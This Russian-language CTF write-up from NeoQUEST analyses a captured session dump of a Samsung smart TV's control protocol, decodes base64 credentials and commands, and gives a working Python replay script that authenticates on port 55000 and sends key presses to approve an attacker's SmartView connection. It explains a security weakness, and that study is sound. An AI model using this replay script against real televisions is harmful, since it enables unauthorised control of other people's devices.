Эй, телевизор, ты что, самый «умный»?
Мы решили проверить, реально ли сделать что-то интересное с умным телевизором, не имея физического доступа к нему (спойлер: реально! ), и готовы рассказать об этом на примере разбора задания с NeoQUEST!
Исходные данные
Участникам нужно было вывести на экран телевизора определенную картинку. Всё, что у них было — IP-адрес телевизора и дамп сессии, увеличивающей громкость телевизора. Физический доступ к телевизору был закрыт (в том числе ИК-порт), однако при этом участники могли видеть все, что появляется на экране.
Разбираем дамп сессии
Адрес управляющего компьютера — 10.0.20.130, а адрес телевизора — 10.0.20.105. Содержимое дампа сетевого трафика выглядит следующим образом:
Отбросим все служебные пакеты, не несущие смысловой нагрузки. Остается 4 пакета:
С полной структурой пакетов можно ознакомиться по ссылке, мы же рассмотрим наиболее интересные поля.
Итак, первый пакет, который посылает управляющий компьютер, выглядит следующим образом:
0000 00 0c 00 6e 65 6f 71 75 65 73 74 2e 61 70 70 38 ...neoqu est.app8
0010 00 64 00 10 00 54 47 56 6e 61 58 51 67 56 58 4e .d...TGV naXQgVXN
0020 6c 63 67 3d 3d 10 00 54 6d 39 46 59 58 4e 35 56 lcg==..T m9FYXN5V
0030 32 46 35 54 33 56 30 10 00 54 47 56 6e 61 58 51 2F5T3V0. .TGVnaXQ
0040 67 56 58 4e 6c 63 67 3d 3d gVXNlcg= =
Здесь:
- «neoquest.app» — строка, которая может принимать любое значение;
- «TGVnaXQgVXNlcg==» и «Tm9FYXN5V2F5T3V0» — строчки, закодированные в base64. После декодирования получили «Legit User», «NoEasyWayOut» соответственно.
Очевидно, что это пакет авторизации. Второй пакет содержит информацию об успешности авторизации:
0000 00 0c 00 69 61 70 70 2e 73 61 6d 73 75 6e 67 04 ...iapp. samsung.
0010 00 64 00 01 00 .d...
Смысл строки «iapp.samsung» неизвестен, а вот последние 4 байта (64 00 01 00) означают, что авторизация прошла успешно и дальше можно посылать управляющие команды.
Третий пакет является управляющим:
0000 00 0c 00 6e 65 6f 71 75 65 73 74 2e 61 70 70 11 ...neoqu est.app.
0010 00 00 00 00 0c 00 53 30 56 5a 58 31 5a 50 54 46 ......S0 VZX1ZPTF
0020 56 51 VQ
По аналогии, последняя строка (S0VZX1ZPTFVQ) — это команда, закодированная в base64, после декодирования которой получается строка «KEY_VOLUP», увеличивающая громкость телевизора (VOLume UP).
Рассматриваем последний пакет: в его последних четырёх байтах хранятся нули, что указывает на успешное выполнение команды:
0000 00 0c 00 69 61 70 70 2e 73 61 6d 73 75 6e 67 04 ...iapp. samsung.
0010 00 00 00 00 00 .....
Воспроизводим сессию
Первое, что хочется сделать после разбора дампа — попробовать повторно воспроизвести сессию. Для этого пишем небольшой код:
import socket
from base64 import b64encode
tv_ip = "10.0.20.101"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((tv_ip, 55000))
#----Authorization--------
msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x38\x00\x64\x00\x10\x00'+\
b64encode(b'Legit User')+b'\x10\x00'+b64encode(b'NoEasyWayOut')+\
b'\x10\x00'+b64encode(b'Legit User')
sock.sendall(msg)
print(sock.recv(1024))
#----Command--------------
msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x11\x00\x00\x00\x00\x0c\x00'+\
b64encode(b'KEY_VOLUP')
sock.sendall(msg)
print(sock.recv(1024))
sock.close()
Запускаем …
Отлично! Телевизор увеличил свою громкость на 1, а это значит, что нам удалось успешно авторизоваться и выполнить команду. На этом завершилась первая часть задания. Едем дальше…
Выводим картинку на экран
Теперь нам каким-то образом нужно вывести картинку на экран. Зная, что подопытный телевизор — фирмы Samsung, и, немного погуглив, находим приложение Samsung SmartView, которое умеет посылать на телевизор картинку, не требуя при этом никакой нетривиальной настройки.
Алгоритм действий в данном случае будет примерно следующий:
- Устанавливаем и запускаем SmartView на своем персональном компьютере.
- Телевизор автоматически определился, пробуем подключиться.
На экране телевизора появилось требование авторизовать наше устройство.
Понимаем, что нам нужно выполнить команду нажатия на кнопку Enter для успешной авторизации. Находим в Интернете описание команд, откуда видим, что нам нужно выбрать «KEY_ENTER».
- Запускаем наш код, заменив «KEY_VOLUP» на «KEY_ENTER».Измененный код
import socket from base64 import b64encode tv_ip = "10.0.20.101" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((tv_ip, 55000)) #----Authorization-------- msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x38\x00\x64\x00\x10\x00'+\ b64encode(b'Legit User')+b'\x10\x00'+b64encode(b'NoEasyWayOut')+\ b'\x10\x00'+b64encode(b'Legit User') sock.sendall(msg) print(sock.recv(1024)) #----Command-------------- msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x11\x00\x00\x00\x00\x0c\x00'+\ b64encode(b'KEY_ENTER') sock.sendall(msg) print(sock.recv(1024)) sock.close()
- SmartView успешно авторизован. Осталось выбрать нужную картинку и отправить ее на телевизор!
Неутешительные выводы
Оказалось, что получить доступ к «умному» телевизору и управлять его громкостью и контентом, выводимым на экран, вполне реальная задача!
Вспоминается зловещее предупреждение Евгения Касперского:
Компьютеры заражаются, мобильные телефоны заражаются. Что будет следующее? … Я уверен, что следующий абсолютно новый вид атак будет на умные телевизоры. Все, что выходит в Интернет, все, что будет подключено к сети, рано или поздно будет «хакнуто».
Что делать — идти к своему телевизору и закрывать ему доступ в Интернет? Или срочно приобретать/разрабатывать антивирус для «умных» телевизоров? Или садиться за компьютер и разрабатывать план мщения для недруга?
Это личный выбор каждого. А мы лишь продемонстрировали одну из опасностей Интернета вещей. На этом мы не остановимся: впереди новый NeoQUEST и новые задания, демонстрирующие проблемы обеспечения безопасности современных технологий.